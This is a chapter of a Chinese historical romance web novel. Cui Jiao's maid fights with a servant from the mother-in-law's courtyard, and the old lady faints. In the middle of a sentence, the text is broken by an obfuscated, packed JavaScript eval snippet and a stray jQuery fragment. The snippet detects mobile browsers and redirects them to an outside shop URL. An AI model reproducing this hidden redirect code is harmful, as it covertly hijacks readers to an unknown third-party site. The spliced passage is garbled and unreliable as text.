见崔皎脸色微怔,冯夫人连忙又补道:“虽有些蹊跷,但多想几分,便也算事出有因。”
“年前查案,不是邀请人上御史台做客么,沈尚书就是老冯亲自去请的,他啊,妹妹也知道,五大三粗的,脑子没那么活泛,当时便闹了些龃龉。”
“我猜,沈大人此举,大抵是为了补偿那日之过吧。”
换作旁人,这猜测听着像那么回事。
可那是谢珏,他何时像这般有人情味了?
事出有因,有的却不一定是这个因。
脑子里蓦地浮现出沈蕙的名字,崔皎的手指轻轻绞住锦帕。
旋即,她才意识到自己还没回冯夫人话,唇角轻轻牵扯开:“多谢姐姐,我知道了。”
“那些有的没的,不是道听途说,便是私下的猜测,都做不得数,妹妹听一听也罢,别往心里去。”
“其实回长安后,谢大人便一直都忙得很。老冯前些日子跟我提了,谢大人去崔家那一趟,当真是百忙中挤出来的空闲。”
冯夫人重新笑起来活络气氛,打趣道:“旁观者清,谁还瞧不出谢大人如今多重视妹妹。”
若是没听见沈尚书的事,崔皎此时一定会惺惺作态地道:“啊,有么?”
然后内心喜滋滋地想,既然外人都这么说,那肯定是有了。
可此时,她实在有些心不在焉。
冯夫人也看出来了,脸上的笑容轻轻收了收,聪明地没有揪着这个话题不放,又说了些旁的无关痛痒的事。
一炷香后,冯夫人便主动告了辞。
崔皎送她离开,折返回厢房。
丹桂:“娘子的脸色是怎么了?”
崔皎愣了下:“我脸色很不好吗?”
丹桂盯着她看了一会儿,又摇头:“那倒没有,只是奴婢熟悉娘子,能看出娘子有心事。”
“该不会是一想到还要喝药,娘子又蔫了吧?”丹桂为难地说,“可夫人是千叮咛万嘱咐了奴婢,这回不能再惯着娘子了……”
丹桂平日还好,一说到这个,念经的语气便跟娘亲没什么两样,崔皎道:“好啦好啦,我知道啦。”
“说起来,今日的方子还没熬,奴婢先瞧一瞧灶头。”
段晴是亲自嘱咐过丹桂,那道医方子能调理好娘子的体虚,丹桂便上了十二分的心。
每回烧药,都是亲自盯着的。
丹桂:“娘子放心,奴婢已经把您爱吃的果脯跟蜜饯都准备齐了。”
崔皎道:“去吧。”
丹桂麻利地前往了厨房。
下人们伶俐,知道给崔皎熬药是头等大事,需要的药材都早早准备好了,就等着她这个大丫鬟来盯梢。
丹桂一一检查过数量跟品质,确认无误后,便命人开始熬药了。
每回得熬快两个时辰,丹桂都是全程守在旁边。
忽的,有人唤她:“丹桂姐姐,外头有人来了。”
丹桂一看,竟是静和院的芸香。
主仆连心,郑氏从前如何为难自家娘子,丹桂都看在眼里。前不久又被她逮出了听雨那档子事,丹桂哪儿能给静和院的人好脸色看。
“你来做什么?静和院不是设了小厨房吗?”
她还好意思说!芸香盯着丹桂后头熬着的药,还有旁边守着的三四个丫鬟,心头忍不住气恼。
那什么小厨房,说得好听,是让下人熬药取药方便,还能另开小灶,做老夫人爱吃的口味和专门的药膳。
可说到底,不就是那崔家娘子嚣张跋扈目中无人,为了逞威风,找个借口把人往静和院赶,连厨房都不许她们用吗?
芸香心头不爽很久了,也冷声道:“你还不知道缘由?小厨房的火再旺,巧妇也难成无米之炊。”
“太乙堂的药材一入府,都是先由主院挑了,剩的才送去静和院,烧些残羹药渣给老夫人喝,你们做事也真不亏心!”
上来就被劈头盖脸一顿骂,丹桂皱起眉头,用仅存的耐心解释:“太乙堂是按方子抓药,大夫给的方子上有什么,他们便给什么,我们都原原本本送到静和院去,从没有人动过手脚。”
芸香上前,指着还没放进盅里的金芝:“那凭什么你们用这个好的东西,只给老夫人用普通的肉芝?”
“这是崔家送来的东西,给我家娘子用不是天经地义?”
丹桂被气笑了,这乡野村妇,眼界真跟米粒大小。
“你要是嫌太乙堂的药材不够好,想要更好的,直说不就得了?我小气,我家娘子可大方着呢。先前那根如意参让老夫人要走了,她半个字都没说。怎么你倒先阴阳怪气起来了?”
明明说的是事实,芸香却一下子被戳中了痛脚:“老夫人身体不好,她又没病,那如意参不就是该给老夫人用的吗,怎么你说得像是老夫人做错了事?”
“要我说,你家主子早不病晚不病,偏偏老夫人一来就喝起药了,不知道是什么居心!”
芸香日日给郑氏抓药,眼睛也练尖了,她扫了一眼木盘里还没下锅的药渣碎屑,紫石英、白薇、桂心……这不都是暖宫助孕的东西吗?
顿时,她觉得自己抓住了崔皎的命门。方才丹桂那副趾高气昂的模样,仿佛她们静和院低人一等似的,如今可算让她逮着机会了。
芸香冷笑道:“不孝有三,无后为大,你还不得感谢老夫人宽宏大量,放了你们主子一马,要真论起来,媳妇进门三年肚子没动静,老夫人就算做主休妻,那也是天经地义的事!”
她话音落下,众人皆是一震,丹桂登时沉下脸来:“子嗣的事儿,也轮得到你这奴婢嚼舌根?来人,给我掌她的嘴!”
……
日头又偏了几分,崔皎斜倚在榻边,看着窗外天色。
守拙道长的药方简直苦过黄连,但想到是娘亲的一片心意,她每日都是硬着头皮喝下去的。
喝之前,都得做不知道多久的心理准备。
但是今日,丹桂留给她的准备时间是不是有点太长了?
正想着,忽的见小丫鬟火急火燎地跑过来:“娘子,不好了!”
崔皎眉心一跳,坐直了身子。
“……丹桂同静和院的芸香在厨房吵,不,打起来了。”
“一时闹得太凶,误了老夫人煎药的时辰。老夫人得知消息,受惊晕了过去,已经请大夫去静和院了。”
一句比一句更糟,崔皎眼前唰的一黑。
她扶住脑袋:“丹桂现在在哪儿?”
“已经在门外候着了,就等娘子发落。”
崔皎踏出房门,便瞧见丹桂杵在不远处,自知做错了事,脑袋埋得很低。
说是打起来,可丹桂也没受伤,只是衣裳有些凌乱,像跟人拉扯过。
一见到她,丹桂便直挺挺地跪下了:“娘子恕罪,奴婢蠢笨,给娘子添了麻烦。”
崔皎伸手扶她,她也侧身躲开,不肯起来。
崔皎只得先收回手,问:“另一个丫鬟呢?”
另外的人答:“在静和院守着老夫人,不知道情况如何……”
丹桂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607824|205779||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没忍住,忿忿不平地开口:“肯定不会有什么大问题,依奴婢看,分明就是老夫人包庇自己的丫鬟,故意小事化大,让娘子下不了台!”
说完,她也意识到自己多嘴了,这时候,哪里轮得到她这个始作俑者讲话?
再怎么说,都是她非要掌芸香的嘴,稀里糊涂耽误了芸香给老夫人煎药,又导致老夫人受了惊。
丹桂自己倒是无所谓,可她是娘子身边的丫鬟。
做错事了,连累的是崔皎。
丹桂又讪讪地低下了头。
崔皎纠结一番,若郑氏是装的还好,若是真的,老人家那副病身子哪里受得了折腾?还是让德高望重的太医瞧一瞧最稳妥。
“你们取了我的令牌去一趟宫里头,请卫太医。”
吩咐完,她低头看向丹桂:“你先别顾着认罪了,好好跟我说一说,到底怎么回事?”
丹桂交代了来龙去脉:“她说了几句不中听的话,奴婢气性便上来了……”
“什么不中听的话?”
丹桂沉默了。
崔皎伸手一戳她的额头:“有替我出头的胆子,这个时候又怕什么?”
丹桂听出来了,娘子并未怪她。
她终于忍不住了:“那芸香不敬娘子,还威胁说什么无子可以休妻,说得那么顺嘴,不知道私下编排了多少次,从前她们就……”
丹桂自知失言,转而道:“奴婢怎么忍得了她当真那么多下面的人大放厥词?”
崔皎紧紧咬住唇角:“我知道了,你先起来。”
丹桂:“娘子……”
“言辞无状的东西,你替我掌嘴,有什么错?”
“至于静和院那边,真有什么事,有我在,又怎么怪得到你头上。”
丹桂心头又暖又愧,起身道:“奴婢先去给娘子倒杯茶水。”
寻常官员要请御医到府上不是易事,但有谢中丞跟崔娘子的名头,卫太医很快便来了。
崔皎跟着卫太医一起去了静和院。
只是还没走进去,她就被郑氏身边的丫鬟拦在外边:“夫人还是先在外等候吧。”
掂量了下,崔皎也不去触郑氏的霉头,步子在门外停住:“我在这儿等着太医的消息。”
等卫太医进屋了,她侧过身,扫了眼忙里忙外的下人:“那个叫芸香的呢?”
“……在里头伺候着,夫人要把她叫出来吗?”
这个时候调走了郑氏的贴身丫鬟,等会儿郑氏有个头疼脑热,不都得怪在她头上。
崔皎只得先罢了。
天光一寸一寸地暗下去,有人在崔皎耳边低声提醒:“夫人,大人回来了。”
这事儿已经闹到要去请太医的地步,自然也瞒不过谢大人。
男人快步走到门口,衣袂翻飞,带起一阵冷风。
崔皎咬了下唇,没有主动开口,只是拿余光偷偷打量谢珏的表情。
她自以为动作隐蔽,实际上明显得不得了,就差直接怼到谢珏脸上问他到底在想什么。
谢珏也想问,她都是怎么管教下人的,他不过几日未归,府上竟闹出这样的事端。
只是一进来,瞧见她跟个犯了错的孩子似的在这儿罚站。
旁边还有那么多下人。
到唇边的话顿了一顿。
谢珏的薄唇微微抿直,最终还是决定暂时给她留点面子。
没有旁的意思,也并非替她那样又脸皮薄又嘴硬的人考虑。
只是崔皎肆意妄为,他却不能跟着她胡闹。